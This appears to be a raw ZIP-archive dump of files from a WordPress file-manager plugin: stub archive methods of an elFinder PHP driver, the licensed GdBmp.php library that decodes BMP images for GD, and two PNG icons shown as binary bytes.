     * @param  array  $arc  archiver command and arguments (same as in $this->archivers)
     *
     * @return void
     * @author Dmitry (dio) Levashov
     * @author Alexey Sukhotin
     **/
    protected function _unpack($path, $arc)
    {
        return;
    }

    /**
     * Extract files from archive
     *
     * @param  string $path archive path
     * @param  array  $arc  archiver command and arguments (same as in $this->archivers)
     *
     * @return true
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     **/
    protected function _extract($path, $arc)
    {
        return false;
    }

    /**
     * Create archive and return its path
     *
     * @param  string $dir   target dir
     * @param  array  $files files names list
     * @param  string $name  archive name
     * @param  array  $arc   archiver options
     *
     * @return string|bool
     * @author Dmitry (dio) Levashov,
     * @author Alexey Sukhotin
     **/
    protected function _archive($dir, $files, $name, $arc)
    {
        return false;
    }

} // END class 
PK���[�"q��N�N;wp-content/plugins/fileorganizer/manager/php/libs/GdBmp.phpnu�[���<?php
/**
 * Copyright (c) 2011, oov. All rights reserved.
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *  - Redistributions of source code must retain the above copyright notice,
 *    this list of conditions and the following disclaimer.
 *  - Redistributions in binary form must reproduce the above copyright notice,
 *    this list of conditions and the following disclaimer in the documentation
 *    and/or other materials provided with the distribution.
 *  - Neither the name of the oov nor the names of its contributors may be used to
 *    endorse or promote products derived from this software without specific prior
 *    written permission.
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
 * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
 * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
 * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 * bmp ファイルを GD で使えるように
 * 使用例:
 *   //ファイルから読み込む場合はGDでPNGなどを読み込むのと同じような方法で可
 *   $image = imagecreatefrombmp("test.bmp");
 *   imagedestroy($image);
 *   //文字列から読み込む場合は以下の方法で可
 *   $image = GdBmp::loadFromString(file_get_contents("test.bmp"));
 *   //自動判定されるので破損ファイルでなければこれでも上手くいく
 *   //$image = imagecreatefrombmp(file_get_contents("test.bmp"));
 *   imagedestroy($image);
 *   //その他任意のストリームからの読み込みも可能
 *   $stream = fopen("http://127.0.0.1/test.bmp");
 *   $image = GdBmp::loadFromStream($stream);
 *   //自動判定されるのでこれでもいい
 *   //$image = imagecreatefrombmp($stream);
 *   fclose($stream);
 *   imagedestroy($image);
 * 対応フォーマット
 *   1bit
 *   4bit
 *   4bitRLE
 *   8bit
 *   8bitRLE
 *   16bit(任意のビットフィールド)
 *   24bit
 *   32bit(任意のビットフィールド)
 *   BITMAPINFOHEADER の biCompression が BI_PNG / BI_JPEG の画像
 *   すべての形式でトップダウン/ボトムアップの両方をサポート
 *   特殊なビットフィールドでもビットフィールドデータが正常なら読み込み可能
 * 以下のものは非対応
 *   BITMAPV4HEADER と BITMAPV5HEADER に含まれる色空間に関する様々な機能
 *
 * @param $filename_or_stream_or_binary
 *
 * @return bool|resource
 */

if (!function_exists('imagecreatefrombmp')) {
    function imagecreatefrombmp($filename_or_stream_or_binary)
    {
        return elFinderLibGdBmp::load($filename_or_stream_or_binary);
    }
}

class elFinderLibGdBmp
{
    public static function load($filename_or_stream_or_binary)
    {
        if (is_resource($filename_or_stream_or_binary)) {
            return self::loadFromStream($filename_or_stream_or_binary);
        } else if (is_string($filename_or_stream_or_binary) && strlen($filename_or_stream_or_binary) >= 26) {
            $bfh = unpack("vtype/Vsize", $filename_or_stream_or_binary);
            if ($bfh["type"] == 0x4d42 && ($bfh["size"] == 0 || $bfh["size"] == strlen($filename_or_stream_or_binary))) {
                return self::loadFromString($filename_or_stream_or_binary);
            }
        }
        return self::loadFromFile($filename_or_stream_or_binary);
    }

    public static function loadFromFile($filename)
    {
        $fp = fopen($filename, "rb");
        if ($fp === false) {
            return false;
        }

        $bmp = self::loadFromStream($fp);

        fclose($fp);
        return $bmp;
    }

    public static function loadFromString($str)
    {
        //data scheme より古いバージョンから対応しているようなので php://memory を使う
        $fp = fopen("php://memory", "r+b");
        if ($fp === false) {
            return false;
        }

        if (fwrite($fp, $str) != strlen($str)) {
            fclose($fp);
            return false;
        }

        if (fseek($fp, 0) === -1) {
            fclose($fp);
            return false;
        }

        $bmp = self::loadFromStream($fp);

        fclose($fp);
        return $bmp;
    }

    public static function loadFromStream($stream)
    {
        $buf = fread($stream, 14); //2+4+2+2+4
        if ($buf === false) {
            return false;
        }

        //シグネチャチェック
        if ($buf[0] != 'B' || $buf[1] != 'M') {
            return false;
        }

        $bitmap_file_header = unpack(
        //BITMAPFILEHEADER構造体
            "vtype/" .
            "Vsize/" .
            "vreserved1/" .
            "vreserved2/" .
            "Voffbits", $buf
        );

        return self::loadFromStreamAndFileHeader($stream, $bitmap_file_header);
    }

    public static function loadFromStreamAndFileHeader($stream, array $bitmap_file_header)
    {
        if ($bitmap_file_header["type"] != 0x4d42) {
            return false;
        }

        //情報ヘッダサイズを元に形式を区別して読み込み
        $buf = fread($stream, 4);
        if ($buf === false) {
            return false;
        }
        list(, $header_size) = unpack("V", $buf);


        if ($header_size == 12) {
            $buf = fread($stream, $header_size - 4);
            if ($buf === false) {
                return false;
            }

            extract(unpack(
            //BITMAPCOREHEADER構造体 - OS/2 Bitmap
                "vwidth/" .
                "vheight/" .
                "vplanes/" .
                "vbit_count", $buf
            ));
            //飛んでこない分は 0 で初期化しておく
            $clr_used = $clr_important = $alpha_mask = $compression = 0;

            //マスク類は初期化されないのでここで割り当てておく
            $red_mask = 0x00ff0000;
            $green_mask = 0x0000ff00;
            $blue_mask = 0x000000ff;
        } else if (124 < $header_size || $header_size < 40) {
            //未知の形式
            return false;
        } else {
            //この時点で36バイト読めることまではわかっている
            $buf = fread($stream, 36); //既に読んだ部分は除外しつつBITMAPINFOHEADERのサイズだけ読む
            if ($buf === false) {
                return false;
            }

            //BITMAPINFOHEADER構造体 - Windows Bitmap
            extract(unpack(
                "Vwidth/" .
                "Vheight/" .
                "vplanes/" .
                "vbit_count/" .
                "Vcompression/" .
                "Vsize_image/" .
                "Vx_pels_per_meter/" .
                "Vy_pels_per_meter/" .
                "Vclr_used/" .
                "Vclr_important", $buf
            ));
            /**
             * @var integer $width
             * @var integer $height
             * @var integer $planes
             * @var integer $bit_count
             * @var integer $compression
             * @var integer $size_image
             * @var integer $x_pels_per_meter
             * @var integer $y_pels_per_meter
             * @var integer $clr_used
             * @var integer $clr_important
             */
            //負の整数を受け取る可能性があるものは自前で変換する
            if ($width & 0x80000000) {
                $width = -(~$width & 0xffffffff) - 1;
            }
            if ($height & 0x80000000) {
                $height = -(~$height & 0xffffffff) - 1;
            }
            if ($x_pels_per_meter & 0x80000000) {
                $x_pels_per_meter = -(~$x_pels_per_meter & 0xffffffff) - 1;
            }
            if ($y_pels_per_meter & 0x80000000) {
                $y_pels_per_meter = -(~$y_pels_per_meter & 0xffffffff) - 1;
            }

            //ファイルによっては BITMAPINFOHEADER のサイズがおかしい(書き込み間違い?)ケースがある
            //自分でファイルサイズを元に逆算することで回避できることもあるので再計算できそうなら正当性を調べる
            //シークできないストリームの場合全体のファイルサイズは取得できないので、$bitmap_file_headerにサイズ申告がなければやらない
            if ($bitmap_file_header["size"] != 0) {
                $colorsize = $bit_count == 1 || $bit_count == 4 || $bit_count == 8 ? ($clr_used ? $clr_used : pow(2, $bit_count)) << 2 : 0;
                $bodysize = $size_image ? $size_image : ((($width * $bit_count + 31) >> 3) & ~3) * abs($height);
                $calcsize = $bitmap_file_header["size"] - $bodysize - $colorsize - 14;

                //本来であれば一致するはずなのに合わない時は、値がおかしくなさそうなら(BITMAPV5HEADERの範囲内なら)計算して求めた値を採用する
                if ($header_size < $calcsize && 40 <= $header_size && $header_size <= 124) {
                    $header_size = $calcsize;
                }
            }

            //BITMAPV4HEADER や BITMAPV5HEADER の場合まだ読むべきデータが残っている可能性がある
            if ($header_size - 40 > 0) {
                $buf = fread($stream, $header_size - 40);
                if ($buf === false) {
                    return false;
                }

                extract(unpack(
                //BITMAPV4HEADER構造体(Windows95以降)
                //BITMAPV5HEADER構造体(Windows98/2000以降)
                    "Vred_mask/" .
                    "Vgreen_mask/" .
                    "Vblue_mask/" .
                    "Valpha_mask", $buf . str_repeat("\x00", 120)
                ));
            } else {
                $alpha_mask = $red_mask = $green_mask = $blue_mask = 0;
            }

            //パレットがないがカラーマスクもない時
            if (
                ($bit_count == 16 || $bit_count == 24 || $bit_count == 32) &&
                $compression == 0 &&
                $red_mask == 0 && $green_mask == 0 && $blue_mask == 0
            ) {
                //もしカラーマスクを所持していない場合は
                //規定のカラーマスクを適用する
                switch ($bit_count) {
                    case 16:
                        $red_mask = 0x7c00;
                        $green_mask = 0x03e0;
                        $blue_mask = 0x001f;
                        break;
                    case 24:
                    case 32:
                        $red_mask = 0x00ff0000;
                        $green_mask = 0x0000ff00;
                        $blue_mask = 0x000000ff;
                        break;
                }
            }
        }

        if (
            ($width == 0) ||
            ($height == 0) ||
            ($planes != 1) ||
            (($alpha_mask & $red_mask) != 0) ||
            (($alpha_mask & $green_mask) != 0) ||
            (($alpha_mask & $blue_mask) != 0) ||
            (($red_mask & $green_mask) != 0) ||
            (($red_mask & $blue_mask) != 0) ||
            (($green_mask & $blue_mask) != 0)
        ) {
            //不正な画像
            return false;
        }

        //BI_JPEG と BI_PNG の場合は jpeg/png がそのまま入ってるだけなのでそのまま取り出してデコードする
        if ($compression == 4 || $compression == 5) {
            $buf = stream_get_contents($stream, $size_image);
            if ($buf === false) {
                return false;
            }
            return imagecreatefromstring($buf);
        }

        //画像本体の読み出し
        //1行のバイト数
        $line_bytes = (($width * $bit_count + 31) >> 3) & ~3;
        //全体の行数
        $lines = abs($height);
        //y軸進行量(ボトムアップかトップダウンか)
        $y = $height > 0 ? $lines - 1 : 0;
        $line_step = $height > 0 ? -1 : 1;

        //256色以下の画像か?
        if ($bit_count == 1 || $bit_count == 4 || $bit_count == 8) {
            $img = imagecreate($width, $lines);

            //画像データの前にパレットデータがあるのでパレットを作成する
            $palette_size = $header_size == 12 ? 3 : 4; //OS/2形式の場合は x に相当する箇所のデータは最初から確保されていない
            $colors = $clr_used ? $clr_used : pow(2, $bit_count); //色数
            $palette = array();
            for ($i = 0; $i < $colors; ++$i) {
                $buf = fread($stream, $palette_size);
                if ($buf === false) {
                    imagedestroy($img);
                    return false;
                }
                extract(unpack("Cb/Cg/Cr/Cx", $buf . "\x00"));
                /**
                 * @var integer $b
                 * @var integer $g
                 * @var integer $r
                 * @var integer $x
                 */
                $palette[] = imagecolorallocate($img, $r, $g, $b);
            }

            $shift_base = 8 - $bit_count;
            $mask = ((1 << $bit_count) - 1) << $shift_base;

            //圧縮されている場合とされていない場合でデコード処理が大きく変わる
            if ($compression == 1 || $compression == 2) {
                $x = 0;
                $qrt_mod2 = $bit_count >> 2 & 1;
                for (; ;) {
                    //もし描写先が範囲外になっている場合デコード処理がおかしくなっているので抜ける
                    //変なデータが渡されたとしても最悪なケースで255回程度の無駄なので目を瞑る
                    if ($x < -1 || $x > $width || $y < -1 || $y > $height) {
                        imagedestroy($img);
                        return false;
                    }
                    $buf = fread($stream, 1);
                    if ($buf === false) {
                        imagedestroy($img);
                        return false;
                    }
                    switch ($buf) {
                        case "\x00":
                            $buf = fread($stream, 1);
                            if ($buf === false) {
                                imagedestroy($img);
                                return false;
                            }
                            switch ($buf) {
                                case "\x00": //EOL
                                    $y += $line_step;
                                    $x = 0;
                                    break;
                                case "\x01": //EOB
                                    $y = 0;
                                    $x = 0;
                                    break 3;
                                case "\x02": //MOV
                                    $buf = fread($stream, 2);
                                    if ($buf === false) {
                                        imagedestroy($img);
                                        return false;
                                    }
                                    list(, $xx, $yy) = unpack("C2", $buf);
                                    $x += $xx;
                                    $y += $yy * $line_step;
                                    break;
                                default:     //ABS
                                    list(, $pixels) = unpack("C", $buf);
                                    $bytes = ($pixels >> $qrt_mod2) + ($pixels & $qrt_mod2);
                                    $buf = fread($stream, ($bytes + 1) & ~1);
                                    if ($buf === false) {
                                        imagedestroy($img);
                                        return false;
                                    }
                                    for ($i = 0, $pos = 0; $i < $pixels; ++$i, ++$x, $pos += $bit_count) {
                                        list(, $c) = unpack("C", $buf[$pos >> 3]);
                                        $b = $pos & 0x07;
                                        imagesetpixel($img, $x, $y, $palette[($c & ($mask >> $b)) >> ($shift_base - $b)]);
                                    }
                                    break;
                            }
                            break;
                        default:
                            $buf2 = fread($stream, 1);
                            if ($buf2 === false) {
                                imagedestroy($img);
                                return false;
                            }
                            list(, $size, $c) = unpack("C2", $buf . $buf2);
                            for ($i = 0, $pos = 0; $i < $size; ++$i, ++$x, $pos += $bit_count) {
                                $b = $pos & 0x07;
                                imagesetpixel($img, $x, $y, $palette[($c & ($mask >> $b)) >> ($shift_base - $b)]);
                            }
                            break;
                    }
                }
            } else {
                for ($line = 0; $line < $lines; ++$line, $y += $line_step) {
                    $buf = fread($stream, $line_bytes);
                    if ($buf === false) {
                        imagedestroy($img);
                        return false;
                    }

                    $pos = 0;
                    for ($x = 0; $x < $width; ++$x, $pos += $bit_count) {
                        list(, $c) = unpack("C", $buf[$pos >> 3]);
                        $b = $pos & 0x7;
                        imagesetpixel($img, $x, $y, $palette[($c & ($mask >> $b)) >> ($shift_base - $b)]);
                    }
                }
            }
        } else {
            $img = imagecreatetruecolor($width, $lines);
            imagealphablending($img, false);
            if ($alpha_mask) {
                //αデータがあるので透過情報も保存できるように
                imagesavealpha($img, true);
            }

            //x軸進行量
            $pixel_step = $bit_count >> 3;
            $alpha_max = $alpha_mask ? 0x7f : 0x00;
            $alpha_mask_r = $alpha_mask ? 1 / $alpha_mask : 1;
            $red_mask_r = $red_mask ? 1 / $red_mask : 1;
            $green_mask_r = $green_mask ? 1 / $green_mask : 1;
            $blue_mask_r = $blue_mask ? 1 / $blue_mask : 1;

            for ($line = 0; $line < $lines; ++$line, $y += $line_step) {
                $buf = fread($stream, $line_bytes);
                if ($buf === false) {
                    imagedestroy($img);
                    return false;
                }

                $pos = 0;
                for ($x = 0; $x < $width; ++$x, $pos += $pixel_step) {
                    list(, $c) = unpack("V", substr($buf, $pos, $pixel_step) . "\x00\x00");
                    $a_masked = $c & $alpha_mask;
                    $r_masked = $c & $red_mask;
                    $g_masked = $c & $green_mask;
                    $b_masked = $c & $blue_mask;
                    $a = $alpha_max - ((($a_masked << 7) - $a_masked) * $alpha_mask_r);
                    $r = (($r_masked << 8) - $r_masked) * $red_mask_r;
                    $g = (($g_masked << 8) - $g_masked) * $green_mask_r;
                    $b = (($b_masked << 8) - $b_masked) * $blue_mask_r;
                    imagesetpixel($img, $x, $y, ($a << 24) | ($r << 16) | ($g << 8) | $b);
                }
            }
            imagealphablending($img, true); //デフォルト値に戻しておく
        }
        return $img;
    }
}
PK���[�T���@wp-content/plugins/fileorganizer/manager/php/resources/video.pngnu�[����PNG


IHDR00W���IDATx�ݘE�+����Y%����h5[����O����;����L��[��<�QœnԳvGODve�T��<7���+d0X�A2��~�.���ӵfvܒ�8��o��7=1�`�@��.�x�-������߳�!Zst<�����够�|�3PUlV�-\o8��(�������:�wp�>(�
Db�\���
���/;�P���hD;m8�g�ڼ�_Pl�5x�w#�=���^�R���Y���*ůq����F�Q�@�@[�����c�ul���]{H�`1��9�xH�6�K�b\
�
���d�Jb��]��,
�C���^��]��үHm�2��� �t��C�v:#��!�`+����p?�[Ȧ+�+��uL����ٻcI�,<�����+"�+S�ͬm�2��!�����H�N���(�C�`#Xn�@�a��
O�U�J�4��۝[�> N��o���1�
FPv�(a	���
��9��,!2�'5;���l��c�7�Sp&�L���
�D�D���(Q'���LL6k�6 Na��h�$@�%��
r�F�UB2	W�*��Jl�i��:Bd��ksR�B��S�u�~�(Q�hL\���H9�1�ub�[�J!���iso2>�v�Z�PB��u���`2`�H�lOj���i:�Mv�V6�N��Dܾ��k��Vq�Nu1ol�.ټ�晀���)+e�bQ�h��ѷ�qz)$�bDBJ�U�o�x�w~��P�-���R�ʉɤfs�fwo���
�x|����u���|��x���hP�+�ҵ�~{�|�$�m�rE~�J��o|6k8�>e6mi�Bq�e9K�_�4��
�:'�w����ҹc�ݥ
���z�i�������ڕ���mK��ۢ��IU&�=H�z��b4�f��K�@Ӵ�F`�v���;H�{g�44mG]g�6��|�\�t�De{��d~�op��y�fZ�D �I, �GZ�$�P�79��^�|�D��, J3��˅�����W�u��=GU�����f�?���?�{D��(���# `��8
�&���5�]>ϝ�?B.�T�����_~�K._�.&W����M��0\�0�W?;q�[���/�j�(�y ����b����9��vƟ�e�ٔ�������ޤ��9�_/�fj��i���)��=�#t�P�������?���J��P�})��D�F���/^s�G`��Pv�0��(|WaRfz|�or���П	H�9%Q���e.I�D)�T���?D��1l�`�	��$�錣�kH6J �A	0IBۖ�����G��!}p��
�v́��p�$�p����$���l�V#�*�N6 ��A@h&ȋ\�A��FZ�]-�4a��!�(,;�:���kH�� ��v+Sh�5`1ޤ��[B��*���pH��q�� ��Q�t��[�e�Ć!�c�=p}���L]��ll�qz)\^�%�M)�D�c�T��(%n`A�V,�^�Ëolq��O��ؗ�>E�)�ƥ钋�l:[�3��mƷ���{s_`��<������&<E�h�$J۴ʩM���^k�>�W,�kgJ�/���'3�,�<�2�݉R��`Y�����ڥ�2uUjM��o��?��G� �y��"(��ds����­��-���s�p�#O��������9>�Q:�,��+��J�j�V��x�闸t��]�2/�=?��yi��%5I�/��
�L����u=bk����Cb�gh���y�qvn�Ͽ�ռ<�r�L�g��o>���m�+�'����@��?�������]�-6J�?ФLʡ)E�
���/�m�0���E��O~�'�<��t�Ii�I�Α�1
� Ȩx/�Lþ����y�ǟ�Rg"b�8|�t����H����A�C��Ð���jc��c��!h���(�>!0<X��_��3/sЃ�bph��r�٬R�e�7� 
��X7q��f(_�N \�吠��
��6nN�ı'��|Z���f��	�i����p&.�vM��rJ(�B���`��:�V���f���;Qm�g ��1��?�ۀ{�WN68�76�1��V��x��������'>1�vO"IEND�B`�PK���[�ƛ**@wp-content/plugins/fileorganizer/manager/php/resources/image.pngnu�[����PNG


IHDR00W��
�IDATxڴ�U��ʹ��$�Mto�9��N�D2�p���"�3v�m�v|���UU?��c��RU@�p^
A�����
e{;������Ϯ���mȘ�+��<q��xI^r��D�q��y��ZU>y��/��ǻ_}[�U۹��{Ӊ��^�q���v��+����+U����奼$���0M���d�Z�o��>x)����1@O	Q����5�FU7N�b���.᫽��� ��t(@芢���`AD���T��PU_�����#�B /�|8\�{�w]g�6cQ�\��\�"��O ^
#�7(A�2w��-s��l=6���hC��쟈��6@AB���
R$T�I@:=���w��PV�X5�ap��3U���v;{e��Zc��X��al�e���?>��ʜQ7�J,Y��S�y6��R���n���ԓ;Ͼ�x�z��@y�tw�ܱ�l�W[�8Z�X%>~�����p$J�*�!`�HJ�̻����?E��it��O�=�&�1�w���'�{���4�����'�����~;z�����U�:A(��\,K�jel̝�@)P�����!�>���w/�ZS58?9u|~�a<�M�d4�&Ae:UL-�a��0�i(g��ٮ�wV�TQ��'=Gy���5c��JI�T��}�9>���L~�]I
�(�jX$�ҵF����)>|Q�6��a=�V�����̱_b�*����u%�׏���#^�6w��o�%Kq4E'Sח�j�M�>\��{�&�}\�w·��d#�
���J+�؟�U�����8=]7q{�x��*��7_
�^%�HL-�ꦁ�!�Ve�F��n��΍��IoM���E��F�9nnnU��f�,��iaHw2p>�U͒�/�{�1Yg�o���[��9-H9��’"�ә^e���yb9]{*���D�F�����q4���vc@�6M~
/���5۶m#�cm!��m��o���\���˪�/*z�{����z��Sy2�ɾ�5���xfD�}��M�F4�-���,����[�5����!�8�!���.�U$c!ւ���0[㚝< �i5�����p������,j����#^���lWTU��,v�h�7��$n��?�aMH��#F[�&eE0f�Mi�1�VW8�2D��K
��R3�L�ˊ�8��)���J�'^���D����9����h��0G^����}>�1@�&'V[Ǫ��P>4
)�sW����)˒��0�LQ��8���f�q�~��<����G�f�U����28�u򪤨k�s`4��,kʼbT�ΣT@��G.�?�ui��]��nݦ��{*�QT%�wwɊ*�iM4b�jg�A���Z�M����Qh�AA�\�B�JB���	t��z%�.�H�#k.|�>�B(@�"ύ�>��$X=3aZ�&Im�<`��B#%w5�u�f�E� �(��rU]��[�ǣx<�(��Ak[-:i���tX]8�
ˉ����K�!����G����eM8�8Mp�'�
6��������Fc:�s�󨙰i
%%���$��j2-F��q"�}Bv�68���`��U���/�0Z��O�01��C���1�V�|�YMs�I>��l��E��-uQ7��x�C>��%+G��Zp>t��hJ>�)�9:h�<
f���1H�H�8hj�P���J�ϱ6|�����?��>�)�X;�֦EA�'����0H)�뫴��y�����l��x�+����-EVR��HҔf;�*kF�=�[lE	����l���֢���{��C�ro�O��Ftʾ<��0�(G�4I�.i�h���I�҂7���y��Dcc��9!�*5_T���Ψ����>�fB{��u R�TjL��D/^�"����8�N�&����կ�ܹ3$�'2)���8!	�CD@��գUf�m5�y8��'Gۏ�;9�y�b�rq���7.c#�yp"��h���t�ݻ���Ƅ�����gQسLz%#�;�Xjo�Z�P�f��-�F��w����t�ю
�.bD	qSC*ض�G���|�W�(����;��2�=�+�8�ٚ��$�Dӎ"�M4�D4h�N��J)JL6
��%��0��ƊX	*4#Od�䊧o'����{�;�"x�1��Qm"�(9�Sܐ���5�\#�F���y穝"<0k�(—C�f#B�83�\�PJ��v�l�K.� �������*g�(�뢜��t��!�8Y�r��Ե��1���X��P�
dQyE-
�O!h<W[{��Ѐ�B".���HYR�)m=��ǿ$t%���*�Q䕟x��r�����|!�������6��|��8��u
h����&�i��1��P+���q�y�<�
X%HUj
)ڱ������bPN�x��m�:��߽��[C6.
�����~Et��f\�Mu�Qو@+��hkI҈8�4��΂�&*`UUA�F�}��%�D1޿M=���k�[���Q��u����D�]�ِ5
�{�2cm��_^�_��ګp�(�.@)���
Kt2&?���'//��mSV�tμ{�9�ؓ
=����n�.�n��#���N.�Y��r���p����D�&���o��f=���;�N{/JM!��� Wt����+�
���
CU>����7~���E�ڬ�/���Q_��.̳p�Oz��9s�_a�>��c	�є}l�"�����E�x��[�"�o�A��/~�矅�.!
��fPd�<|�BJ�/L�6>ʾ�̭4iͷ�75S�gl޸Ly0¤��ULv&�Řc'��y�*�{W�����I�����X�5��4|�w?*�x�S���)��o���3?u�<tBX۽/z�#�r�.FW([".ewC1��XX�螌9�X�{�'?��f�m�/XN���r�_r�������o�{D��!��J?��g�D4<0fpPs��pH{X?��P՜8�d��)6��C1�p_�7��(Vs����g���
��i6��i�p�3�WZ|rp��r[k�	E>!m6��і���O���n��ԑ�NLׇe��G�1��=�\9��=Ox�
��	R�H٢��s��k��I8��&�A������tcay��O5kg[$���4���s\�0Z�M&l0��a��&>��l���`A�٘`U��L7�l�.�xe�K�N����!�U�����0:���S�
��3滖�mIR�/;�'>�I9�
ld�ˊ��s�1…��<�A�?@!�=��غ>��՚�z‰�w�V$�`�r����Y^NI�1f��O�r��}N>l�ǽt�z�y5c�D�׼����[�mO9��56.�N�9B�? �S�+m���mD�d�d_�ݟ!�	�a����f�˟~��%l���9��������14w����0V��2H��6��@�(��P�S����^���x�X�a�9�/�?��R�==U���8��IEND�B`�